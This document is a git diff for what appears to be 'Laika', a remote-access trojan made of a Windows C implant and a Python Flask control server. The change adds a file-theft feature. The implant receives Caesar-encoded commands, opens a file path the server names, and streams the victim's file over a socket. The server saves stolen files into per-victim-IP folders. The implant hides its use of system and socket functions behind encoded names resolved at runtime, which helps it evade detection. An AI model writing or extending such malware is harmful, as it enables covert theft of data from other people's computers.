diff --git a/Laika/file_explorer.c b/Laika/file_explorer.c index 24398fe..ccb83e0 100644 --- a/Laika/file_explorer.c +++ b/Laika/file_explorer.c @@ -89,8 +89,53 @@ char* get_file_list(const char* dirPath, int* numFiles) { } -void download_file() { +int download_file(FILE* fp, SOCKET sock) { + char* data = (char*)Api.malloc(BUFFER_SIZE); + int bytes_read, bytes_sent; + // Send the contents of the file through the socket + while (1) { + bytes_read = Api.fread(data, 1, BUFFER_SIZE, fp); + if (bytes_read == 0) { + break; + } + + char* ptr = data; + while (bytes_read > 0) { + bytes_sent = Api.send(sock, ptr, bytes_read, 0); + if (bytes_sent == SOCKET_ERROR) { + int error_code = Api.WSAGetLastError(); + if (error_code == WSAEWOULDBLOCK) { + // If send would block, wait until the socket is writable + fd_set write_fds; + FD_ZERO(&write_fds); + FD_SET(sock, &write_fds); + + if (Api.select(sock + 1, NULL, &write_fds, NULL, NULL) == SOCKET_ERROR) { + Api.free(data); + Api.fclose(fp); + Sleep_(Sleep_TIME); + return 0; + } + } + else { + Api.free(data); + Api.fclose(fp); + Sleep_(Sleep_TIME); + return 0; + } + } + else { + bytes_read -= bytes_sent; + ptr += bytes_sent; + } + } + } + + Api.fclose(fp); + Api.free(data); + + return 1; } void download_folder() { diff --git a/Laika/file_explorer.h b/Laika/file_explorer.h index 7151eaf..e691464 100644 --- a/Laika/file_explorer.h +++ b/Laika/file_explorer.h @@ -17,6 +17,6 @@ extern API Api; int get_object_info(char* path, struct stat* fileinfo); int get_drives_list(char* buf); char* get_file_list(const char* dirPath, int* numFiles); -void download_file(); +int download_file(FILE* fp, SOCKET sock); void download_folder(); void upload_file(); \ No newline at end of file diff --git a/Laika/main.c b/Laika/main.c index fbe4ed8..8fcab71 100644 --- a/Laika/main.c +++ b/Laika/main.c @@ -1,13 +1,12 @@ #include #include #include +#include #include "utils.h" #include "config.h" #include "resolve_apis.h" #include "file_explorer.h" -#define Sleep_TIME 30 - HANDLE g_hChildStd_IN_Rd = NULL; HANDLE g_hChildStd_IN_Wr = NULL; HANDLE g_hChildStd_OUT_Rd = NULL; @@ -320,7 +319,30 @@ retry: } if (Api.strncmp(server_reply, "it|sqtfidknqj", strlen("it|sqtfidknqj")) == 0) { //download_file + char* path = (char*)Api.malloc(MAX_PATH); + //Receive a reply from the server + if (Api.recv(sock, path, MAX_PATH, 0) <= 0) + { + //recv failed + Api.free(path); + Sleep_(Sleep_TIME); + goto retry; + } + + FILE* fp = Api.fopen(CAESAR_DECRYPT(path), "rb"); + Api.free(path); + + if (fp == NULL) + { + Sleep_(Sleep_TIME); + goto retry; + } + + if (download_file(fp, sock) == 0) { + Sleep_(Sleep_TIME); + goto retry; + } } if (Api.strncmp(server_reply, "it|sqtfidinw", strlen("it|sqtfidinw")) == 0) { //download_dir diff --git a/Laika/resolve_apis.c b/Laika/resolve_apis.c index 321bcf5..46fce93 100644 --- a/Laika/resolve_apis.c +++ b/Laika/resolve_apis.c @@ -47,6 +47,9 @@ void InitApis() { Api.localtime = (Tlocaltime)Api.GetProcAddress(hMsvcrt, CAESAR_DECRYPT("qthfqynrj")); Api.strftime = (Tstrftime)Api.GetProcAddress(hMsvcrt, CAESAR_DECRYPT("xywkynrj")); Api._snprintf = (T_snprintf)Api.GetProcAddress(hMsvcrt, CAESAR_DECRYPT("dxsuwnsyk")); + Api.fopen = (Tfopen)Api.GetProcAddress(hMsvcrt, CAESAR_DECRYPT("ktujs")); + Api.fclose = (Tfclose)Api.GetProcAddress(hMsvcrt, CAESAR_DECRYPT("khqtxj")); + Api.fread = (Tfread)Api.GetProcAddress(hMsvcrt, CAESAR_DECRYPT("kwjfi")); hWininet = LoadLibraryA(CAESAR_DECRYPT("|x7d873iqq")); if (!hWininet) { @@ -62,6 +65,7 @@ void InitApis() { Api.inet_addr = (Tinet_addr)Api.GetProcAddress(hWininet, CAESAR_DECRYPT("nsjydfiiw")); Api.WSAStartup = (TWSAStartup)Api.GetProcAddress(hWininet, CAESAR_DECRYPT("\\XFXyfwyzu")); Api.WSAGetLastError = (TWSAGetLastError)Api.GetProcAddress(hWininet, CAESAR_DECRYPT("\\XFLjyQfxyJwwtw")); + Api.select = (Tselect)Api.GetProcAddress(hWininet, CAESAR_DECRYPT("xjqjhy")); } void FreeApis() { diff --git a/Laika/resolve_apis.h b/Laika/resolve_apis.h index a77a111..bf00390 100644 --- a/Laika/resolve_apis.h +++ b/Laika/resolve_apis.h @@ -15,6 +15,7 @@ typedef u_long(WINAPI* Tinet_addr)(const char*); typedef SOCKET(WINAPI* Tsocket)(int, int, int); typedef int(WINAPI* TWSAStartup)(WORD, LPWSADATA); typedef int(WINAPI* TWSAGetLastError)(void); +typedef int(WINAPI* Tselect)(int, fd_set FAR*, fd_set FAR*, fd_set FAR*, const struct timeval FAR*); typedef void* (WINAPI* Tmemset)(void*, int, size_t); typedef void* (WINAPI* Tmalloc)(size_t); @@ -31,6 +32,9 @@ typedef size_t(WINAPI* Twcstombs)(char*, wchar_t const*, size_t); typedef struct tm* (WINAPI* Tlocaltime)(__time64_t const*); typedef size_t(WINAPI* Tstrftime)(char*, size_t, char const*, struct tm const*); typedef int(WINAPI* T_snprintf)(char* const, size_t const, char const* const, ...); +typedef FILE* (WINAPI* Tfopen)(char const*, char const*); +typedef int(WINAPI* Tfclose)(FILE*); +typedef size_t(WINAPI* Tfread)(void*, size_t, size_t, FILE*); typedef BOOL(WINAPI* TReadFile)(HANDLE, LPVOID, DWORD, LPDWORD, LPOVERLAPPED); typedef BOOL(WINAPI* TWriteFile)(HANDLE, LPCVOID, DWORD, LPDWORD, LPOVERLAPPED); @@ -58,6 +62,7 @@ typedef struct ApiList { Tinet_addr inet_addr; TWSAStartup WSAStartup; TWSAGetLastError WSAGetLastError; + Tselect select; Tmemset memset; Tmalloc malloc; @@ -91,6 +96,9 @@ typedef struct ApiList { Tlocaltime localtime; Tstrftime strftime; T_snprintf _snprintf; + Tfopen fopen; + Tfclose fclose; + Tfread fread; } API; void InitApis(); diff --git a/Laika/utils.h b/Laika/utils.h index 3f06823..0a0b3a9 100644 --- a/Laika/utils.h +++ b/Laika/utils.h @@ -4,6 +4,8 @@ #include #include "resolve_apis.h" +#define Sleep_TIME 30 + char* CAESAR(char* in); char* CAESAR_DECRYPT(char* in); void Sleep_(int time_to_wait); diff --git a/Server/Server.py b/Server/Server.py index a6975dd..9aa1dc6 100644 --- a/Server/Server.py +++ b/Server/Server.py @@ -5,10 +5,12 @@ from flask import Flask, request, send_file, render_template, send_from_director from threading import Thread import os, sys, time import easygui +import errno import select import socket import logging import urllib.parse +import select import math ADRESSE = "192.168.1.35"#socket.gethostname() @@ -92,7 +94,51 @@ def interact() : match action : case "download" : - print(files) + for i in files : + path = path_file_ex_2 + i + if i in FILES_ : + #call download file + client.send(CAESAR("download_file\0").encode()) + + client.send(CAESAR(path + "\0").encode()) + + time.sleep(0.05) + addr = client.getpeername()[0] + addr = os.getcwd() + "\\" + addr.replace(".","_") + + if not os.path.exists(addr): + os.makedirs(addr) + + out_file = open(addr + "\\" + i, "wb") + while True: + try: + # Receive data from the socket + data = client.recv(4096) + if not data: + break + + # Write the data to the file + out_file.write(data) + except socket.error as e: + if e.errno == errno.WSAEWOULDBLOCK: + # If recv would block, wait until the socket is readable + ready_to_read, _, _ = select.select([client], [], [], 1) + if not ready_to_read: + # If select timed out, try recv again + continue + else: + break + + out_file.close() + time.sleep(0.05) + + else : + #call download folder + client.send(CAESAR("download_dir\0").encode()) + + client.send(CAESAR(path + "\0").encode()) + + time.sleep(0.05) case "upload" : filename = easygui.fileopenbox() @@ -110,15 +156,13 @@ def interact() : client.send(CAESAR("del_file\0").encode()) client.send(CAESAR(path + "\0").encode()) - - time.sleep(0.05) else : #call remove folder client.send(CAESAR("del_dir\0").encode()) client.send(CAESAR(path + "\0").encode()) - time.sleep(0.05) + time.sleep(0.05) return 'ok'